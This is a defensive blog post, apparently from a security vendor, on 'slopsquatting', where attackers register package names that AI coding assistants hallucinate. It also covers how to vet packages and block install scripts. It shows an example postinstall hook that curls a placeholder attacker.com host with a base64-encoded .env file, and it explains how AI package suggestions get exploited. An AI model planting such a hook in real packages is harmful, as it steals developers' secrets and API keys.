Slopsquatting: How AI Package Hallucinations Threaten Modern Codebases
Why LLMs invent fake npm packages and how hackers register them to execute malware on your machine.
Table of Contents6 sections
Over the past year, the cybersecurity community has identified a novel supply-chain attack vector targeting AI-assisted developers: Slopsquatting.
When developers build complex workflows with AI assistants, the model sometimes invents plausible-sounding library names that do not actually exist on npm or PyPI.
Attackers monitor common AI prompt completions, identify these repeatedly hallucinated package names, and publish malicious packages under those exact names. The next developer who accepts the AI's suggestion executes the attacker's code the moment they run npm install or bun install.
What is Slopsquatting?
You may already be familiar with typosquatting—registering misspelled versions of popular packages (e.g., cross-envv instead of cross-env).
Slopsquatting is different. It targets the predictive nature of Large Language Models.
LLMs are statistical pattern engines. If you ask an AI model:
"How do I connect Next.js 15 with Supabase authentication and automatic session synchronization?"
The model might blend memories of various articles and suggest:
bun add @supabase/nextjs-auth-helpers-v2If that specific package doesn't exist, an attacker can register @supabase/nextjs-auth-helpers-v2 on npm with an install script that reads your .env file and exfiltrates your AWS and Stripe keys to an external server.
The Mechanics of the Attack
- Hallucination Mining: Researchers and malicious actors use automated scripts to prompt LLMs across thousands of common programming tasks, logging every imported package name that returns a
404 Not Foundon npm or PyPI. - Registration: The attacker registers the non-existent package name on the registry.
- Payload Injection: The package includes a
postinstallscript in itspackage.json:
{
"name": "hallucinated-auth-helper",
"version": "1.0.0",
"scripts": {
"postinstall": "curl -s http://attacker.com/collect?d=$(cat .env | base64)"
}
}- Execution: When you run
bun installor deploy on Vercel, thepostinstallhook runs automatically in the background with full access to your filesystem and environment variables.
Common Hallucinated Package Patterns
Be particularly suspicious of packages that follow these naming patterns:
- Non-existent adapters: e.g.,
authjs-drizzle-neon-adapter - Versioned suffixes: e.g.,
langchain-openai-v2,next-auth-v5-helpers - Plausible utility wrappers: e.g.,
react-use-stripe-elements,tailwind-shadcn-presets
How to Protect Your Repository
1. Always Verify the Package on npm Before Installing
Before running bun add <package>, open npmjs.com and check three signals:
- Weekly Downloads: Genuine community libraries have thousands or millions of weekly downloads. A package with 4 downloads published two days ago by an anonymous user is an immediate red flag.
- Repository Link: Does the package link to an active, starred GitHub repository?
- Publish Date & Maintainers: Are the maintainers verified organizations (e.g.
@supabase,@vercel)?
2. Disable Postinstall Scripts by Default
Modern package managers allow you to prevent untrusted packages from running arbitrary shell scripts during installation:
# Bun: Ignore postinstall scripts for untrusted packages
bun install --ignore-scripts3. Enforce Strict Frozen Lockfiles in CI/CD
Never let your production deployment resolve new dependency versions dynamically. Always commit your bun.lock or package-lock.json and build with:
bun install --frozen-lockfileSummary Checklist
- ☐Every dependency in
package.jsonwas manually verified on npmjs.com. - ☐No unvetted libraries with low download counts exist in
node_modules. - ☐Lockfiles (
bun.lock) are committed to version control. - ☐CI/CD pipelines run with
--frozen-lockfile.
Don't let a hidden bug derail your launch.
vibesupport scans your AI-built codebase or live website for exposed secrets, missing database RLS, and broken access controls—then pairs you with senior engineers to fix them directly in GitHub.